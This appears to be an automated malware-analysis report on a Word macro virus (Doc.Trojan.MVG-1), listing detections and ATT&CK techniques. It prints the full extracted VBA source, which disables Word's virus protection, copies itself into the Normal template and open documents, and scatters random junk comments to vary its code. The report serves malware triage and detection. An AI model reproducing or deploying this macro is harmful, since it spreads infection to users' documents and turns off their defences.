MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro, which is a strong indicator of malicious intent. The macro attempts to disable virus protection and inject code into the Normal template and the active document, suggesting an attempt to achieve persistence and modify document behavior. The ClamAV detection further confirms its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.MVG-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.MVG-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2261 bytes |
SHA-256: 2742c47c0473c5870192501a4331b6dc48e5fc0d05d41befa93f968259491dc3 |
|||
|
Detection
ClamAV:
Doc.Trojan.MVG-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Const jedan = 1: nula = 2 * 0: verzija = (10 - 1)
With Options
.VirusProtection = nula
End With
If Application.Version = verzija & "." & nula Then
GoTo pocni
aha:
GoTo startaj
startaj:
GoTo aha
pocni:
Set vx = ThisDocument.VBProject: Set ma = vx.VBComponents(jedan):
ve = ma.CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(jedan).CodeModule.CountOfLines)
If nt <> ve Then
Set infnt = NormalTemplate.VBProject.VBComponents(jedan).CodeModule
infnt.DeleteLines 1, infnt.CountOfLines
infnt.AddFromString ve
End If
Set we = NormalTemplate.VBProject: Set ku = we.VBComponents(jedan):
nt = ku.CodeModule.Lines(1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If ad <> ve Then
Set INFAD = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
INFAD.DeleteLines 1, INFAD.CountOfLines
INFAD.AddFromString ve
Set vo = ActiveDocument.VBProject: Set gr = vo.VBComponents(jedan):
ad = gr.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents.Item(jedan).CodeModule.CountOfLines)
End If
End If
Dim KSJDHFE, PODFGHN, ZXCASDF, PIOUWER, A, B, QWPEOIS
adf = ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
For ah = 1 To adf
dg = Mid(ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(ah, 1), 1, 1)
If dg = "'" Then ThisDocument.VBProject.VBComponents(1).CodeModule.DeleteLines ah, 1
Next ah
For KSJDHFE = 10 To 1 Step -2
For PODFGHN = 0 To 2
ZXCASDF = Chr(Rnd * 105 + 1) & Asc(Chr(Rnd * 10 + 1))
QWPEOIS = Hex(Rnd * 120 + 4)
PIOUWER = ZXCASDF & PIOUWER & QWPEOIS
Next PODFGHN
Next KSJDHFE
Set AdAcTiV = ActiveDocument.VBProject.VBComponents(1).CodeModule
For c = 1 To AdAcTiV.CountOfLines + 38 Step 2
AdAcTiV.insertlines c + 1, "'" & PIOUWER
Next c
If Second(Now()) = 8 And Minute(Now()) = 6 And Hour(Now()) = 3 And Day(Now()) = 2 Then
CommandBars("Tools").Delete ""
'WordMacro.MVG by e[ax]
'RCJ v1.0 (Random Comment Junker) by e[ax]
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.